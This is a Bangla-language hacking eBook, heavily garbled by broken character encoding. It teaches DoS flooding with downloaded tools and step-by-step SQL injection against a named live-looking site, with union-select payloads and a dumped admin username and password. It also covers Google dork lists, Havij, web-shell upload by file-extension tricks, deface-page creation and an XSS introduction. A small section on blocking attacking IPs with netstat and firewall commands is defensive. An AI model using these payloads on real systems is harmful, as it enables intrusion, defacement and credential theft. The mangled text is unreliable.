াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 14: Hacking Bangla eBook

তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না

কতনফবাকতচতটিউনাযtrade

XSS কতক

XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web

Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয

ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600

xss-threat3jpg

XSS Vulnerability and Injection

যাপ ১ Vulnerable মেব িািআট োমজ মবর করা

